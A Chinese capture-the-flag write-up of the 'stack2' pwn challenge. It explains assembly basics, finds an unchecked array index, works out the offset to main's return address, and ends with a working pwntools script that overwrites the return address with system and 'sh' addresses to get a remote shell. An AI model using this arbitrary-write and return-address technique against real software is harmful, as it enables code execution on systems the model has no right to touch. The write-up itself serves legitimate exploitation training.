本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个,如果有说错的地方请师傅们多多包涵
(资料图片仅供参考)
本题关键汇编指令:mov指令和lea指令以及ret指令
mov
mov指令的功能是传送数据,它可以把一个操作数的值复制到另一个操作数中。例如:
mov eax, [ebp-18h]
,作用是将ebp-18h作为偏移地址,寻址找到内存单元,将该内存单元中的数据送至eax,类似于C语言中的eax=*(ebp-18h)
;
mov [ebp-1ch],eax
,作用是将eax中的数据送至ebp-1ch作为偏移地址所指向的内存单元 。类似于C语言中的*(ebp-1ch)=eax
lea
lea指令的功能是计算有效地址,它可以把一个内存地址的值存入一个寄存器中。例如:
lea eax, [ebp-18h]
,作用是将ebp-18h作为一个地址(而不是一个值),存入eax寄存器中。类似于C语言中的eax=ebp-18h
;lea [ebp-1ch],eax
,作用是将eax寄存器中的值(假设为12345678h)存入ebp-1ch作为偏移地址所指向的内存单元。类似于C语言中的*(ebp-1ch)=*eax
。(这个用法和本题没啥关系,只是提一嘴)
ret
这个应该都很熟悉了。ret指令的功能是从子程序返回,它可以把栈顶的值弹出并作为返回地址,跳转到调用子程序的地方。
在选择change number后程序未对输入的数字进行审查,导致可以直接修改超出数字范围的内存数据,这样我们只要知道内存某个地方相对于数组的偏移,就能修改那个地方的内容
后门函数,经过师傅们的测试发现这个函数在远程运行时会提示没有bash,但是利用system
函数和字符串sh
执行system("sh")
同样能达到我们的目的
既然可以直接修改任意内存的数据,那么直接将main
函数的返回地址修改为调用system("sh")
的ROP链,然后在菜单中选择5.exit退出main
函数,就可以将执行流转到system("sh")
了。
想要修改内存数据,首先要知道偏移量
在ida中可以看出来数组相对于ebp的偏移量是70h,那返回地址相对于数组的偏移量就是74h。
那就错了!!!,并不是所有函数的ebp都挨着返回地址,有时候会做一些调整。所以我们就需要知道main
函数的返回的地址以及数组在内存中位置。这时候接下来我们就来通过动态分析求这两个值。
我们知道,这个数组是存在内存当中的,当我们向数组中存入第一个数字时,数字所在的位置就是数组首地址的位置(即&arr[0]==arr
)。现在来读一下我们输入的第一个数字存入数组时的汇编代码[1]:
mov eax, [ebp-88h]
表示将ebp-88h处的内存值,也就是我们输入的值,假设为1h,传送到eax寄存器中,此时eax=1h
mov ecx, eax
表示将eax寄存器中的值(1h)传送到ecx寄存器中,此时ecx=1h
lea edx, [ebp-70h]
表示将ebp-70h作为一个地址传送到edx寄存器中,此时假设ebp=00100000h,则edx=000FF890h即数组基地址
mov eax, [ebp-7Ch]
表示将ebp-7Ch处的内存值,也就是记录循环次数的i,第一次循环i为0,传送到eax寄存器中,此时eax=0
add eax, edx
表示将edx寄存器中的值(000FF890h)加到eax寄存器中的值(0),这一步相当于找到arr[0]的位置,此时eax=000FF890h
mov [eax], cl
表示将ecx寄存器中的最低8位(即cl,值为01h)传送到内存地址为eax=000FF890h的单元中
在执行完这段代码后我们可以知道两件事:eax存放的值就是数组的地址;地址的最低八位的值就是我们输入的值
在执行add eax,edx
后eax的值:
执行mov [eax],cl
之前0xffffcf88的值:0xf7fc17c0
执行mov [eax],cl
之前0xffffcf88的值:0xf7fc1701
由此可以确定,0xffffcf88就是数组在内存中的位置
这个就简单的多了,当我们执行到ret指令的时候,esp指向的地方就是main函数的返回地址
在程序最后打断点,查看esp的值:
esp此时的值是0xffffd00c,也就是main函数的返回地址
至此,我们就求出了偏移量0xffffd00c-0xffffcf88=0x84
首先找到system函数和sh的地址,分别是0x08048450和0x08048987
在常规栈溢出中,我们的payload构成应该是
offset + system_addr + 0xdeadbeef + sh_addr
但是在这题中我们能直接修改内存内容,因此只要把system_addr和sh_addr填到栈上的相应位置即可。注意:由于每次我们只能修改1字节,所以要分成多次将ROP链的内容填到栈上
菜鸡仿照别的师傅写的
from pwn import *#io = process("./stack2")io = remote("61.147.171.105",55215)context(log_level="debug")def change (index,number): io.recvuntil("exit\n") io.sendline(str(3)) io.recvuntil(b"which number to change:\n") io.sendline(str(index)) io.recvuntil("new number:\n") io.sendline(str(number))io.recvuntil("How many numbers you have:\n")io.sendline(str(1))io.recvuntil("Give me your numbers\n")io.sendline(str(1))change(0x84,0x50)change(0x85,0x84)change(0x86,0x04)change(0x87,0x08)change(0x8c,0x87)change(0x8d,0x89)change(0x8e,0x04)change(0x8f,0x08)io.recvuntil(b"exit\n")io.sendline(str(5))io.interactive()
小声bb:在使用recvuntil
接收字符串的时候最好确认一下字符串有没有打错,不然就会exp运行时会卡住。没错我就是那个笨比
ebp+var_x
的意思是ebp偏移为x的位置,在ida中选中var_x
再按下H
就可以将其转化为ebp-xh
的形式 ↩︎
关键词:
攻防世界_PWN_stack2 世界时讯
被人类幼崽萌化的瞬间 愿每个孩子都能茁壮成长_当前时讯
焦点日报:阿里裁员,满城风雨:一天吃两顿散伙饭,网约车司机也提前三小时下班
金源发展国际实业(00677)拟收购NI Corporation 的全部已发行股本 时快讯
全球速看:丹麦发布贻贝管理行政命令
网页看直播卡怎么办_网页看直播卡顿是什么原因|环球头条
中国银行数字证书密码是几位数_中国银行数字证书下载安装
焦点快播:新生血管_关于新生血管简介
世界实时:有你在我身边作文解析_有你在我身边作文
600亿“鹏欣系”困局:杠杆收购后遗症?原南通首富甩卖股权回血 环球报道
反思歧视 加拿大将“排华法”列为“国家历史事件”
普斯卡什(关于普斯卡什的基本详情介绍)
每日速读!图评:消费“升温”更需“保温”
环球精选!黑矾的别名_黑矾
环球热资讯!咸安区实验幼儿园:快乐晒书 学海共游
琳琅天上为何并入天美_琳琅天上为什么解散
图片报:帕瓦尔已明确告知拜仁不续约 今夏不放人将明年试水自由市场
2023 款比亚迪元 Pro 上市 9.58-11.38 万元
又到一年荔枝红 特色种植打造乡村旅游影响“荔”_世界报道
天天通讯!赵丽颖站姿,颖宝真的太美啦!好想看正面,快转过来给我看看!
中秋节贺卡祝福语简短一句话_中秋节贺卡祝福语
石板豆腐加盟_石板豆腐做法
七星关区市场监管局开展制止餐饮浪费专项行动 天天关注
世界观天下!超过850亿欧元!苹果5年在欧支出增长了50%
2023福建龙岩市招聘上杭县城发工程检测有限公司工作人员拟聘用人选公示
明起实施!事关电价
焦点快播:家门口品书香 全民阅读成风尚
每日热文:成德眉资四地消委联合发布“六一”儿童节消费提示
港股异动 | 明源云(00909)早盘持续走低跌超6% 高盛维持“沽售”评级 并下调其目标价
年内IPO项目罚单剑指招股书信披 券商投行全链条监管从严-视焦点讯